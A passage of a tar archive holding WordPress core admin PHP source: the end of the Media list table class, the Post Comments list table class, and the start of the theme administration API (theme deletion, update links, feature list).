		}
	}

/**
	 * Override parent views so we can use the filter bar display.
	 *
	 * @global string $mode List table view mode.
	 */
	public function views() {
		global $mode;

$views = $this->get_views();

$this->screen->render_screen_reader_content( 'heading_views' );
		?>
<div class="wp-filter">
	<div class="filter-items">
		<?php $this->view_switcher( $mode ); ?>

<?php
		$this->extra_tablenav( 'bar' );

/** This filter is documented in wp-admin/inclues/class-wp-list-table.php */
		$views = apply_filters( "views_{$this->screen->id}", array() );

// Back compat for pre-4.0 view links.
		if ( ! empty( $views ) ) {
			echo '<ul class="filter-links">';
			foreach ( $views as $class => $view ) {
				echo "<li class='$class'>$view</li>";
			}
			echo '</ul>';
		}
		?>
	</div>

<div class="search-form">
		<label for="media-search-input" class="media-search-input-label"><?php esc_html_e( 'Search' ); ?></label>
		<input type="search" id="media-search-input" class="search" name="s" value="<?php _admin_search_query(); ?>"></div>
	</div>
		<?php
	}

/**
	 * @return array
	 */
	public function get_columns() {
		$posts_columns       = array();
		$posts_columns['cb'] = '<input type="checkbox" />';
		/* translators: Column name. */
		$posts_columns['title']  = _x( 'File', 'column name' );
		$posts_columns['author'] = __( 'Author' );

$taxonomies = get_taxonomies_for_attachments( 'objects' );
		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );

/**
		 * Filters the taxonomy columns for attachments in the Media list table.
		 *
		 * @since 3.5.0
		 *
		 * @param string[] $taxonomies An array of registered taxonomy names to show for attachments.
		 * @param string   $post_type  The post type. Default 'attachment'.
		 */
		$taxonomies = apply_filters( 'manage_taxonomies_for_attachment_columns', $taxonomies, 'attachment' );
		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );

/* translators: Column name. */
		if ( ! $this->detached ) {
			$posts_columns['parent'] = _x( 'Uploaded to', 'column name' );
			if ( post_type_supports( 'attachment', 'comments' ) ) {
				$posts_columns['comments'] = '<span class="vers comment-grey-bubble" title="' . esc_attr__( 'Comments' ) . '"><span class="screen-reader-text">' . __( 'Comments' ) . '</span></span>';
			}
		}
		/* translators: Column name. */
		$posts_columns['date'] = _x( 'Date', 'column name' );
		/**
		 * Filters the Media list table columns.
		 *
		 * @since 2.5.0
		 *
		 * @param string[] $posts_columns An array of columns displayed in the Media list table.
		 * @param bool     $detached      Whether the list table contains media not attached
		 *                                to any posts. Default true.
		 */
		return apply_filters( 'manage_media_columns', $posts_columns, $this->detached );
	}

/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'title'    => 'title',
			'author'   => 'author',
			'parent'   => 'parent',
			'comments' => 'comment_count',
			'date'     => array( 'date', true ),
		);
	}

/**
	 * Handles the title column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_title( $post ) {
		list( $mime ) = explode( '/', $post->post_mime_type );

$title      = _draft_or_post_title();
		$thumb      = wp_get_attachment_image( $post->ID, array( 60, 60 ), true, array( 'alt' => '' ) );
		$link_start = '';
		$link_end   = '';

if ( current_user_can( 'edit_post', $post->ID ) && ! $this->is_trash ) {
			$link_start = sprintf(
				'<a href="%s" aria-label="%s">',
				get_edit_post_link( $post->ID ),
				/* translators: %s: Attachment title. */
				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $title ) )
			);
			$link_end = '</a>';
		}

$class = $thumb ? ' class="has-media-icon"' : '';
		?>
		<strong<?php echo $class; ?>>
			<?php
			echo $link_start;
			if ( $thumb ) :
				?>
				<span class="media-icon <?php echo sanitize_html_class( $mime . '-icon' ); ?>"><?php echo $thumb; ?></span>
				<?php
			endif;
			echo $title . $link_end;
			_media_states( $post );
			?>
		</strong>
		<p class="filename">
			<span class="screen-reader-text"><?php _e( 'File name:' ); ?> </span>
			<?php
			$file = get_attached_file( $post->ID );
			echo esc_html( wp_basename( $file ) );
			?>
		</p>
		<?php
	}

/**
	 * Handles the author column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_author( $post ) {
		printf(
			'<a href="%s">%s</a>',
			esc_url( add_query_arg( array( 'author' => get_the_author_meta( 'ID' ) ), 'upload.php' ) ),
			get_the_author()
		);
	}

/**
	 * Handles the description column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_desc( $post ) {
		echo has_excerpt() ? $post->post_excerpt : '';
	}

/**
	 * Handles the date column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_date( $post ) {
		if ( '0000-00-00 00:00:00' === $post->post_date ) {
			$h_time = __( 'Unpublished' );
		} else {
			$time      = get_post_timestamp( $post );
			$time_diff = time() - $time;

if ( $time && $time_diff > 0 && $time_diff < DAY_IN_SECONDS ) {
				/* translators: %s: Human-readable time difference. */
				$h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) );
			} else {
				$h_time = get_the_time( __( 'Y/m/d' ), $post );
			}
		}

echo $h_time;
	}

/**
	 * Handles the parent column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_parent( $post ) {
		$user_can_edit = current_user_can( 'edit_post', $post->ID );

if ( $post->post_parent > 0 ) {
			$parent = get_post( $post->post_parent );
		} else {
			$parent = false;
		}

if ( $parent ) {
			$title       = _draft_or_post_title( $post->post_parent );
			$parent_type = get_post_type_object( $parent->post_type );

if ( $parent_type && $parent_type->show_ui && current_user_can( 'edit_post', $post->post_parent ) ) {
				?>
				<strong><a href="<?php echo get_edit_post_link( $post->post_parent ); ?>">
					<?php echo $title; ?></a></strong>
								<?php
			} elseif ( $parent_type && current_user_can( 'read_post', $post->post_parent ) ) {
				?>
				<strong><?php echo $title; ?></strong>
									<?php
			} else {
				_e( '(Private post)' );
			}

if ( $user_can_edit ) :
				$detach_url = add_query_arg(
					array(
						'parent_post_id' => $post->post_parent,
						'media[]'        => $post->ID,
						'_wpnonce'       => wp_create_nonce( 'bulk-' . $this->_args['plural'] ),
					),
					'upload.php'
				);
				printf(
					'<br /><a href="%s" class="hide-if-no-js detach-from-parent" aria-label="%s">%s</a>',
					$detach_url,
					/* translators: %s: Title of the post the attachment is attached to. */
					esc_attr( sprintf( __( 'Detach from &#8220;%s&#8221;' ), $title ) ),
					__( 'Detach' )
				);
			endif;
		} else {
			_e( '(Unattached)' );
			?>
			<?php
			if ( $user_can_edit ) {
				$title = _draft_or_post_title( $post->post_parent );
				printf(
					'<br /><a href="#the-list" onclick="findPosts.open( \'media[]\', \'%s\' ); return false;" class="hide-if-no-js aria-button-if-js" aria-label="%s">%s</a>',
					$post->ID,
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Attach &#8220;%s&#8221; to existing content' ), $title ) ),
					__( 'Attach' )
				);
			}
		}
	}

/**
	 * Handles the comments column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_comments( $post ) {
		echo '<div class="post-com-count-wrapper">';

if ( isset( $this->comment_pending_count[ $post->ID ] ) ) {
			$pending_comments = $this->comment_pending_count[ $post->ID ];
		} else {
			$pending_comments = get_pending_comments_num( $post->ID );
		}

$this->comments_bubble( $post->ID, $pending_comments );

echo '</div>';
	}

/**
	 * Handles output for the default column.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post        The current WP_Post object.
	 * @param string  $column_name Current column name.
	 */
	public function column_default( $post, $column_name ) {
		if ( 'categories' === $column_name ) {
			$taxonomy = 'category';
		} elseif ( 'tags' === $column_name ) {
			$taxonomy = 'post_tag';
		} elseif ( 0 === strpos( $column_name, 'taxonomy-' ) ) {
			$taxonomy = substr( $column_name, 9 );
		} else {
			$taxonomy = false;
		}

if ( $taxonomy ) {
			$terms = get_the_terms( $post->ID, $taxonomy );
			if ( is_array( $terms ) ) {
				$out = array();
				foreach ( $terms as $t ) {
					$posts_in_term_qv             = array();
					$posts_in_term_qv['taxonomy'] = $taxonomy;
					$posts_in_term_qv['term']     = $t->slug;

$out[] = sprintf(
						'<a href="%s">%s</a>',
						esc_url( add_query_arg( $posts_in_term_qv, 'upload.php' ) ),
						esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) )
					);
				}
				/* translators: Used between list items, there is a space after the comma. */
				echo join( __( ', ' ), $out );
			} else {
				echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . get_taxonomy( $taxonomy )->labels->no_terms . '</span>';
			}

return;
		}

/**
		 * Fires for each custom column in the Media list table.
		 *
		 * Custom columns are registered using the {@see 'manage_media_columns'} filter.
		 *
		 * @since 2.5.0
		 *
		 * @param string $column_name Name of the custom column.
		 * @param int    $post_id     Attachment ID.
		 */
		do_action( 'manage_media_custom_column', $column_name, $post->ID );
	}

/**
	 * @global WP_Post $post Global post object.
	 */
	public function display_rows() {
		global $post, $wp_query;

$post_ids = wp_list_pluck( $wp_query->posts, 'ID' );
		reset( $wp_query->posts );

$this->comment_pending_count = get_pending_comments_num( $post_ids );

add_filter( 'the_title', 'esc_html' );

while ( have_posts() ) :
			the_post();
			if (
				( $this->is_trash && 'trash' !== $post->post_status )
				|| ( ! $this->is_trash && 'trash' === $post->post_status )
			) {
				continue;
			}
			$post_owner = ( get_current_user_id() == $post->post_author ) ? 'self' : 'other';
			?>
			<tr id="post-<?php echo $post->ID; ?>" class="<?php echo trim( ' author-' . $post_owner . ' status-' . $post->post_status ); ?>">
				<?php $this->single_row_columns( $post ); ?>
			</tr>
			<?php
		endwhile;
	}

/**
	 * @param WP_Post $post
	 * @param string  $att_title
	 * @return array
	 */
	private function _get_row_actions( $post, $att_title ) {
		$actions = array();

if ( $this->detached ) {
			if ( current_user_can( 'edit_post', $post->ID ) ) {
				$actions['edit'] = sprintf(
					'<a href="%s" aria-label="%s">%s</a>',
					get_edit_post_link( $post->ID ),
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $att_title ) ),
					__( 'Edit' )
				);
			}
			if ( current_user_can( 'delete_post', $post->ID ) ) {
				if ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
					$actions['trash'] = sprintf(
						'<a href="%s" class="submitdelete aria-button-if-js" aria-label="%s">%s</a>',
						wp_nonce_url( "post.php?action=trash&amp;post=$post->ID", 'trash-post_' . $post->ID ),
						/* translators: %s: Attachment title. */
						esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash' ), $att_title ) ),
						_x( 'Trash', 'verb' )
					);
				} else {
					$delete_ays        = ! MEDIA_TRASH ? " onclick='return showNotice.warn();'" : '';
					$actions['delete'] = sprintf(
						'<a href="%s" class="submitdelete aria-button-if-js"%s aria-label="%s">%s</a>',
						wp_nonce_url( "post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID ),
						$delete_ays,
						/* translators: %s: Attachment title. */
						esc_attr( sprintf( __( 'Delete &#8220;%s&#8221; permanently' ), $att_title ) ),
						__( 'Delete Permanently' )
					);
				}
			}
			$actions['view'] = sprintf(
				'<a href="%s" aria-label="%s" rel="bookmark">%s</a>',
				get_permalink( $post->ID ),
				/* translators: %s: Attachment title. */
				esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $att_title ) ),
				__( 'View' )
			);

if ( current_user_can( 'edit_post', $post->ID ) ) {
				$actions['attach'] = sprintf(
					'<a href="#the-list" onclick="findPosts.open( \'media[]\', \'%s\' ); return false;" class="hide-if-no-js aria-button-if-js" aria-label="%s">%s</a>',
					$post->ID,
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Attach &#8220;%s&#8221; to existing content' ), $att_title ) ),
					__( 'Attach' )
				);
			}
		} else {
			if ( current_user_can( 'edit_post', $post->ID ) && ! $this->is_trash ) {
				$actions['edit'] = sprintf(
					'<a href="%s" aria-label="%s">%s</a>',
					get_edit_post_link( $post->ID ),
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $att_title ) ),
					__( 'Edit' )
				);
			}
			if ( current_user_can( 'delete_post', $post->ID ) ) {
				if ( $this->is_trash ) {
					$actions['untrash'] = sprintf(
						'<a href="%s" class="submitdelete aria-button-if-js" aria-label="%s">%s</a>',
						wp_nonce_url( "post.php?action=untrash&amp;post=$post->ID", 'untrash-post_' . $post->ID ),
						/* translators: %s: Attachment title. */
						esc_attr( sprintf( __( 'Restore &#8220;%s&#8221; from the Trash' ), $att_title ) ),
						__( 'Restore' )
					);
				} elseif ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
					$actions['trash'] = sprintf(
						'<a href="%s" class="submitdelete aria-button-if-js" aria-label="%s">%s</a>',
						wp_nonce_url( "post.php?action=trash&amp;post=$post->ID", 'trash-post_' . $post->ID ),
						/* translators: %s: Attachment title. */
						esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash' ), $att_title ) ),
						_x( 'Trash', 'verb' )
					);
				}
				if ( $this->is_trash || ! EMPTY_TRASH_DAYS || ! MEDIA_TRASH ) {
					$delete_ays        = ( ! $this->is_trash && ! MEDIA_TRASH ) ? " onclick='return showNotice.warn();'" : '';
					$actions['delete'] = sprintf(
						'<a href="%s" class="submitdelete aria-button-if-js"%s aria-label="%s">%s</a>',
						wp_nonce_url( "post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID ),
						$delete_ays,
						/* translators: %s: Attachment title. */
						esc_attr( sprintf( __( 'Delete &#8220;%s&#8221; permanently' ), $att_title ) ),
						__( 'Delete Permanently' )
					);
				}
			}
			if ( ! $this->is_trash ) {
				$actions['view'] = sprintf(
					'<a href="%s" aria-label="%s" rel="bookmark">%s</a>',
					get_permalink( $post->ID ),
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $att_title ) ),
					__( 'View' )
				);
			}
		}

/**
		 * Filters the action links for each attachment in the Media list table.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $actions  An array of action links for each attachment.
		 *                           Default 'Edit', 'Delete Permanently', 'View'.
		 * @param WP_Post  $post     WP_Post object for the current attachment.
		 * @param bool     $detached Whether the list table contains media not attached
		 *                           to any posts. Default true.
		 */
		return apply_filters( 'media_row_actions', $actions, $post, $this->detached );
	}

/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 *
	 * @param object $post        Attachment being acted upon.
	 * @param string $column_name Current column name.
	 * @param string $primary     Primary column name.
	 * @return string Row actions output for media attachments, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $post, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

$att_title = _draft_or_post_title();

return $this->row_actions( $this->_get_row_actions( $post, $att_title ) );
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-post-comments-list-table.php���������������������������������������������������������������0000604�����������������00000002700�15075125355�0013655 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_Post_Comments_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core class used to implement displaying post comments in a list table.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_Comments_List_Table
 */
class WP_Post_Comments_List_Table extends WP_Comments_List_Table {

/**
	 * @return array
	 */
	protected function get_column_info() {
		return array(
			array(
				'author'  => __( 'Author' ),
				'comment' => _x( 'Comment', 'column name' ),
			),
			array(),
			array(),
			'comment',
		);
	}

/**
	 * @return array
	 */
	protected function get_table_classes() {
		$classes   = parent::get_table_classes();
		$classes[] = 'wp-list-table';
		$classes[] = 'comments-box';
		return $classes;
	}

/**
	 * @param bool $output_empty
	 */
	public function display( $output_empty = false ) {
		$singular = $this->_args['singular'];

wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		?>
<table class="<?php echo implode( ' ', $this->get_table_classes() ); ?>" style="display:none;">
	<tbody id="the-comment-list"
		<?php
		if ( $singular ) {
			echo " data-wp-lists='list:$singular'";
		}
		?>
		>
		<?php
		if ( ! $output_empty ) {
			$this->display_rows_or_placeholder();
		}
		?>
	</tbody>
</table>
		<?php
	}

/**
	 * @param bool $comment_status
	 * @return int
	 */
	public function get_per_page( $comment_status = false ) {
		return 10;
	}
}
����������������������������������������������������������������theme.php�������������������������������������������������������������������������������������������0000604�����������������00000126344�15075125355�0006375 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Theme Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Remove a theme
 *
 * @since 2.8.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string $stylesheet Stylesheet of the theme to delete.
 * @param string $redirect   Redirect to page when complete.
 * @return bool|null|WP_Error True on success, false if `$stylesheet` is empty, WP_Error on failure.
 *                            Null if filesystem credentials are required to proceed.
 */
function delete_theme( $stylesheet, $redirect = '' ) {
	global $wp_filesystem;

if ( empty( $stylesheet ) ) {
		return false;
	}

if ( empty( $redirect ) ) {
		$redirect = wp_nonce_url( 'themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet );
	}

ob_start();
	$credentials = request_filesystem_credentials( $redirect );
	$data        = ob_get_clean();

if ( ! WP_Filesystem( $credentials ) ) {
		ob_start();
		// Failed to connect. Error and request again.
		request_filesystem_credentials( $redirect, '', true );
		$data = ob_get_clean();

if ( ! empty( $data ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
			echo $data;
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		}
		return;
	}

if ( ! is_object( $wp_filesystem ) ) {
		return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
	}

if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
		return new WP_Error( 'fs_error', __( 'Filesystem error.' ), $wp_filesystem->errors );
	}

// Get the base plugin folder.
	$themes_dir = $wp_filesystem->wp_themes_dir();
	if ( empty( $themes_dir ) ) {
		return new WP_Error( 'fs_no_themes_dir', __( 'Unable to locate WordPress theme directory.' ) );
	}

$themes_dir = trailingslashit( $themes_dir );
	$theme_dir  = trailingslashit( $themes_dir . $stylesheet );
	$deleted    = $wp_filesystem->delete( $theme_dir, true );

if ( ! $deleted ) {
		return new WP_Error(
			'could_not_remove_theme',
			/* translators: %s: Theme name. */
			sprintf( __( 'Could not fully remove the theme %s.' ), $stylesheet )
		);
	}

$theme_translations = wp_get_installed_translations( 'themes' );

// Remove language files, silently.
	if ( ! empty( $theme_translations[ $stylesheet ] ) ) {
		$translations = $theme_translations[ $stylesheet ];

foreach ( $translations as $translation => $data ) {
			$wp_filesystem->delete( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '.po' );
			$wp_filesystem->delete( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '.mo' );

$json_translation_files = glob( WP_LANG_DIR . '/themes/' . $stylesheet . '-' . $translation . '-*.json' );
			if ( $json_translation_files ) {
				array_map( array( $wp_filesystem, 'delete' ), $json_translation_files );
			}
		}
	}

// Remove the theme from allowed themes on the network.
	if ( is_multisite() ) {
		WP_Theme::network_disable_theme( $stylesheet );
	}

// Force refresh of theme update information.
	delete_site_transient( 'update_themes' );

return true;
}

/**
 * Gets the page templates available in this theme.
 *
 * @since 1.5.0
 * @since 4.7.0 Added the `$post_type` parameter.
 *
 * @param WP_Post|null $post      Optional. The post being edited, provided for context.
 * @param string       $post_type Optional. Post type to get the templates for. Default 'page'.
 * @return string[] Array of template file names keyed by the template header name.
 */
function get_page_templates( $post = null, $post_type = 'page' ) {
	return array_flip( wp_get_theme()->get_page_templates( $post, $post_type ) );
}

/**
 * Tidies a filename for url display by the theme editor.
 *
 * @since 2.9.0
 * @access private
 *
 * @param string $fullpath Full path to the theme file
 * @param string $containingfolder Path of the theme parent folder
 * @return string
 */
function _get_template_edit_filename( $fullpath, $containingfolder ) {
	return str_replace( dirname( dirname( $containingfolder ) ), '', $fullpath );
}

/**
 * Check if there is an update for a theme available.
 *
 * Will display link, if there is an update available.
 *
 * @since 2.7.0
 *
 * @see get_theme_update_available()
 *
 * @param WP_Theme $theme Theme data object.
 */
function theme_update_available( $theme ) {
	echo get_theme_update_available( $theme );
}

/**
 * Retrieve the update link if there is a theme update available.
 *
 * Will return a link if there is an update available.
 *
 * @since 3.8.0
 *
 * @param WP_Theme $theme WP_Theme object.
 * @return string|false HTML for the update link, or false if invalid info was passed.
 */
function get_theme_update_available( $theme ) {
	static $themes_update = null;

if ( ! current_user_can( 'update_themes' ) ) {
		return false;
	}

if ( ! isset( $themes_update ) ) {
		$themes_update = get_site_transient( 'update_themes' );
	}

if ( ! ( $theme instanceof WP_Theme ) ) {
		return false;
	}

$stylesheet = $theme->get_stylesheet();

$html = '';

if ( isset( $themes_update->response[ $stylesheet ] ) ) {
		$update      = $themes_update->response[ $stylesheet ];
		$theme_name  = $theme->display( 'Name' );
		$details_url = add_query_arg(
			array(
				'TB_iframe' => 'true',
				'width'     => 1024,
				'height'    => 800,
			),
			$update['url']
		); // Theme browser inside WP? Replace this. Also, theme preview JS will override this on the available list.
		$update_url  = wp_nonce_url( admin_url( 'update.php?action=upgrade-theme&amp;theme=' . urlencode( $stylesheet ) ), 'upgrade-theme_' . $stylesheet );

if ( ! is_multisite() ) {
			if ( ! current_user_can( 'update_themes' ) ) {
				$html = sprintf(
					/* translators: 1: Theme name, 2: Theme details URL, 3: Additional link attributes, 4: Version number. */
					'<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.' ) . '</strong></p>',
					$theme_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Theme name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
					),
					$update['new_version']
				);
			} elseif ( empty( $update['package'] ) ) {
				$html = sprintf(
					/* translators: 1: Theme name, 2: Theme details URL, 3: Additional link attributes, 4: Version number. */
					'<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>' ) . '</strong></p>',
					$theme_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Theme name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
					),
					$update['new_version']
				);
			} else {
				$html = sprintf(
					/* translators: 1: Theme name, 2: Theme details URL, 3: Additional link attributes, 4: Version number, 5: Update URL, 6: Additional link attributes. */
					'<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ) . '</strong></p>',
					$theme_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Theme name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
					),
					$update['new_version'],
					$update_url,
					sprintf(
						'aria-label="%s" id="update-theme" data-slug="%s"',
						/* translators: %s: Theme name. */
						esc_attr( sprintf( _x( 'Update %s now', 'theme' ), $theme_name ) ),
						$stylesheet
					)
				);
			}
		}
	}

return $html;
}

/**
 * Retrieve list of WordPress theme features (aka theme tags).
 *
 * @since 3.1.0
 * @since 3.2.0 Added 'Gray' color and 'Featured Image Header', 'Featured Images',
 *              'Full Width Template', and 'Post Formats' features.
 * @since 3.5.0 Added 'Flexible Header' feature.
 * @since 3.8.0 Renamed 'Width' filter to 'Layout'.
 * @since 3.8.0 Renamed 'Fixed Width' and 'Flexible Width' options
 *              to 'Fixed Layout' and 'Fluid Layout'.
 * @since 3.8.0 Added 'Accessibility Ready' feature and 'Responsive Layout' option.
 * @since 3.9.0 Combined 'Layout' and 'Columns' filters.
 * @since 4.6.0 Removed 'Colors' filter.
 * @since 4.6.0 Added 'Grid Layout' option.
 *              Removed 'Fixed Layout', 'Fluid Layout', and 'Responsive Layout' options.
 * @since 4.6.0 Added 'Custom Logo' and 'Footer Widgets' features.
 *              Removed 'Blavatar' feature.
 * @since 4.6.0 Added 'Blog', 'E-Commerce', 'Education', 'Entertainment', 'Food & Drink',
 *              'Holiday', 'News', 'Photography', and 'Portfolio' subjects.
 *              Removed 'Photoblogging' and 'Seasonal' subjects.
 * @since 4.9.0 Reordered the filters from 'Layout', 'Features', 'Subject'
 *              to 'Subject', 'Features', 'Layout'.
 * @since 4.9.0 Removed 'BuddyPress', 'Custom Menu', 'Flexible Header',
 *              'Front Page Posting', 'Microformats', 'RTL Language Support',
 *              'Threaded Comments', and 'Translation Ready' features.
 * @since 5.5.0 Added 'Block Editor Patterns', 'Block Editor Styles',
 *              and 'Full Site Editing' features.
 * @since 5.5.0 Added 'Wide Blocks' layout option.
 *
 * @param bool $api Optional. Whether try to fetch tags from the WordPress.org API. Defaults to true.
 * @return array Array of features keyed by category with translations keyed by slug.
 */
function get_theme_feature_list( $api = true ) {
	// Hard-coded list is used if API is not accessible.
	$features = array(

__( 'Subject' )  => array(
			'blog'           => __( 'Blog' ),
			'e-commerce'     => __( 'E-Commerce' ),
			'education'      => __( 'Education' ),
			'entertainment'  => __( 'Entertainment' ),
			'food-and-drink' => __( 'Food & Drink' ),
			'holiday'        => __( 'Holiday' ),
			'news'           => __( 'News' ),
			'photography'    => __( 'Photography' ),
			'portfolio'      => __( 'Portfolio' ),
		),

__( 'Features' ) => array(
			'accessibility-ready'   => __( 'Accessibility Ready' ),
			'block-patterns'        => __( 'Block Editor Patterns' ),
			'block-styles'          => __( 'Block Editor Styles' ),
			'custom-background'     => __( 'Custom Background' ),
			'custom-colors'         => __( 'Custom Colors' ),
			'custom-header'         => __( 'Custom Header' ),
			'custom-logo'           => __( 'Custom Logo' ),
			'editor-style'          => __( 'Editor Style' ),
			'featured-image-header' => __( 'Featured Image Header' ),
			'featured-images'       => __( 'Featured Images' ),
			'footer-widgets'        => __( 'Footer Widgets' ),
			'full-site-editing'     => __( 'Full Site Editing' ),
			'full-width-template'   => __( 'Full Width Template' ),
			'post-formats'          => __( 'Post Formats' ),
			'sticky-post'           => __( 'Sticky Post' ),
			'theme-options'         => __( 'Theme Options' ),
		),

__( 'Layout' )   => array(
			'grid-layout'   => __( 'Grid Layout' ),
			'one-column'    => __( 'One Column' ),
			'two-columns'   => __( 'Two Columns' ),
			'three-columns' => __( 'Three Columns' ),
			'four-columns'  => __( 'Four Columns' ),
			'left-sidebar'  => __( 'Left Sidebar' ),
			'right-sidebar' => __( 'Right Sidebar' ),
			'wide-blocks'   => __( 'Wide Blocks' ),
		),

);

if ( ! $api || ! current_user_can( 'install_themes' ) ) {
		return $features;
	}

$feature_list = get_site_transient( 'wporg_theme_feature_list' );
	if ( ! $feature_list ) {
		set_site_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS );
	}

if ( ! $feature_list ) {
		$feature_list = themes_api( 'feature_list', array() );
		if ( is_wp_error( $feature_list ) ) {
			return $features;
		}
	}

if ( ! $feature_list ) {
		return $features;
	}

set_site_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS );

$category_translations = array(
		'Layout'   => __( 'Layout' ),
		'Features' => __( 'Features' ),
		'Subject'  => __( 'Subject' ),
	);

$wporg_features = array();

// Loop over the wp.org canonical list and apply translations.
	foreach ( (array) $feature_list as $feature_category => $feature_items ) {
		if ( isset( $category_translations[ $feature_category ] ) ) {
			$feature_category = $category_translations[ $feature_category ];
		}

$wporg_features[ $feature_category ] = array();

foreach ( $feature_items as $feature ) {
			if ( isset( $features[ $feature_category ][ $feature ] ) ) {
				$wporg_features[ $feature_category ][ $feature ] = $features[ $feature_category ][ $feature ];
			} else {
				$wporg_features[ $feature_category ][ $feature ] = $feature;
			}
		}
	}

return $wporg_features;
}

/**
 * Retrieves theme installer pages from the WordPress.org Themes API.
 *
 * It is possible for a theme to override the Themes API result with three
 * filters. Assume this is for themes, which can extend on the Theme Info to
 * offer more choices. This is very powerful and must be used with care, when
 * overriding the filters.
 *
 * The first filter, {@see 'themes_api_args'}, is for the args and gives the action
 * as the second parameter. The hook for {@see 'themes_api_args'} must ensure that
 * an object is returned.
 *
 * The second filter, {@see 'themes_api'}, allows a plugin to override the WordPress.org
 * Theme API entirely. If `$action` is 'query_themes', 'theme_information', or 'feature_list',
 * an object MUST be passed. If `$action` is 'hot_tags', an array should be passed.
 *
 * Finally, the third filter, {@see 'themes_api_result'}, makes it possible to filter the
 * response object or array, depending on the `$action` type.
 *
 * Supported arguments per action:
 *
 * | Argument Name      | 'query_themes' | 'theme_information' | 'hot_tags' | 'feature_list'   |
 * | -------------------| :------------: | :-----------------: | :--------: | :--------------: |
 * | `$slug`            | No             |  Yes                | No         | No               |
 * | `$per_page`        | Yes            |  No                 | No         | No               |
 * | `$page`            | Yes            |  No                 | No         | No               |
 * | `$number`          | No             |  No                 | Yes        | No               |
 * | `$search`          | Yes            |  No                 | No         | No               |
 * | `$tag`             | Yes            |  No                 | No         | No               |
 * | `$author`          | Yes            |  No                 | No         | No               |
 * | `$user`            | Yes            |  No                 | No         | No               |
 * | `$browse`          | Yes            |  No                 | No         | No               |
 * | `$locale`          | Yes            |  Yes                | No         | No               |
 * | `$fields`          | Yes            |  Yes                | No         | No               |
 *
 * @since 2.8.0
 *
 * @param string       $action API action to perform: 'query_themes', 'theme_information',
